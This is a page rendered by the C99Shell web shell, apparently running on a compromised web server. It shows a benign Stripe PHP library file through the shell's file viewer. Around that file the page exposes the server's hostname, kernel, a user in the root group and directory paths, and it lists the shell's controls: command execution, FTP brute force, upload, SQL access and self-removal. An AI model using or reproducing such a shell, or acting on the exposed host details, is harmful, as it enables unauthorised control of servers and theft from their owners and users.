!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/stripe/stripe-php/lib/Service/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractService.php (3.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Stripe\Service;

/**
 * Abstract base class for all services.
 */
abstract class AbstractService
{
    
/**
     * @var \Stripe\StripeClientInterface
     */
    
protected $client;

    
/**
     * @var \Stripe\StripeStreamingClientInterface
     */
    
protected $streamingClient;

    
/**
     * Initializes a new instance of the {@link AbstractService} class.
     *
     * @param \Stripe\StripeClientInterface $client
     */
    
public function __construct($client)
    {
        
$this->client $client;
        
$this->streamingClient $client;
    }

    
/**
     * Gets the client used by this service to send requests.
     *
     * @return \Stripe\StripeClientInterface
     */
    
public function getClient()
    {
        return 
$this->client;
    }

    
/**
     * Gets the client used by this service to send requests.
     *
     * @return \Stripe\StripeStreamingClientInterface
     */
    
public function getStreamingClient()
    {
        return 
$this->streamingClient;
    }

    
/**
     * Translate null values to empty strings. For service methods,
     * we interpret null as a request to unset the field, which
     * corresponds to sending an empty string for the field to the
     * API.
     *
     * @param null|array $params
     */
    
private static function formatParams($params)
    {
        if (
null === $params) {
            return 
null;
        }
        
\array_walk_recursive($params, function (&$value$key) {
            if (
null === $value) {
                
$value '';
            }
        });

        return 
$params;
    }

    protected function 
request($method$path$params$opts)
    {
        return 
$this->getClient()->request($method$pathself::formatParams($params), $opts);
    }

    protected function 
requestStream($method$path$readBodyChunkCallable$params$opts)
    {
        
// TODO (MAJOR): Add this method to StripeClientInterface
        // @phpstan-ignore-next-line
        
return $this->getStreamingClient()->requestStream($method$path$readBodyChunkCallableself::formatParams($params), $opts);
    }

    protected function 
requestCollection($method$path$params$opts)
    {
        
// TODO (MAJOR): Add this method to StripeClientInterface
        // @phpstan-ignore-next-line
        
return $this->getClient()->requestCollection($method$pathself::formatParams($params), $opts);
    }

    protected function 
requestSearchResult($method$path$params$opts)
    {
        
// TODO (MAJOR): Add this method to StripeClientInterface
        // @phpstan-ignore-next-line
        
return $this->getClient()->requestSearchResult($method$pathself::formatParams($params), $opts);
    }

    protected function 
buildPath($basePath, ...$ids)
    {
        foreach (
$ids as $id) {
            if (
null === $id || '' === \trim($id)) {
                
$msg 'The resource ID cannot be null or whitespace.';

                throw new 
\Stripe\Exception\InvalidArgumentException($msg);
            }
        }

        return 
\sprintf($basePath, ...\array_map('\urlencode'$ids));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0075 ]--